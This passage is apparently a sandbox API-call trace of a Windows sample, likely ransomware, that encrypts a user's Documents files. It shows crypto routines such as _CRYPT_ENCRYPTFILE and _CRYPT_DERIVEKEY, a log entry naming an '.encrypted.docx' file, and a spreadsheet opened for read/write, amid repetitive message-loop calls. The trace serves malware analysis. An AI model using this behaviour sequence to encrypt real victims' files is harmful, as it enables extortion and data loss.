lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.054] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.055] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.055] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.055] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.055] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.055] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.055] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.055] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.055] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.055] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.055] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.055] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.055] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.056] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.056] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.056] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.056] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.057] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.058] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.058] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.058] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.058] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.058] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.058] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.058] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.058] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2731) returned 1 [0024.058] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.058] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.058] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.058] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xaab, lpOverlapped=0x0) returned 1 [0024.058] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.058] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xaab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.058] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2731) returned 1 [0024.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\EcMUW.encrypted.docx\r\n", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0024.058] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\EcMUW.encrypted.docx\r\n", cchWideChar=54, lpMultiByteStr=0xe8f404c350, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\EcMUW.encrypted.docx\r\n", lpUsedDefaultChar=0x0) returned 54 [0024.058] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051fe0*, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051fe0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x35, lpOverlapped=0x0) returned 1 [0024.059] CloseHandle (hObject=0x1fc) returned 1 [0024.061] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.061] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.061] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.061] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.061] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.061] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.061] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.062] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.062] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178860, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.063] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a80, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.063] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.xlsx", cchWideChar=57, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0024.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.xlsx", cchWideChar=57, lpMultiByteStr=0xe8f4051130, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.xlsx", lpUsedDefaultChar=0x0) returned 57 [0024.064] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\f0tlqd_pjitzmwvwmhnx.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=57, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 57 [0024.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=57, lpWideCharStr=0xe8f40673f0, cchWideChar=57 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\F0tlqD_PjItzmwvwmHNX.xlsx") returned 57 [0024.065] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.065] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.065] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.065] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.066] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41787e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.066] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.066] CloseHandle (hObject=0x1fc) returned 1 [0024.066] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.066] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.066] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.066] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.066] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.066] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.066] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.066] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.066] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.066] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.067] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.067] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.067] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.067] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.067] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.067] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.068] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.068] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.068] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.068] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.068] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.068] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.068] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.068] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.069] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.069] PeekMessageW (in: lpMsg=0xe8f3dfe440, 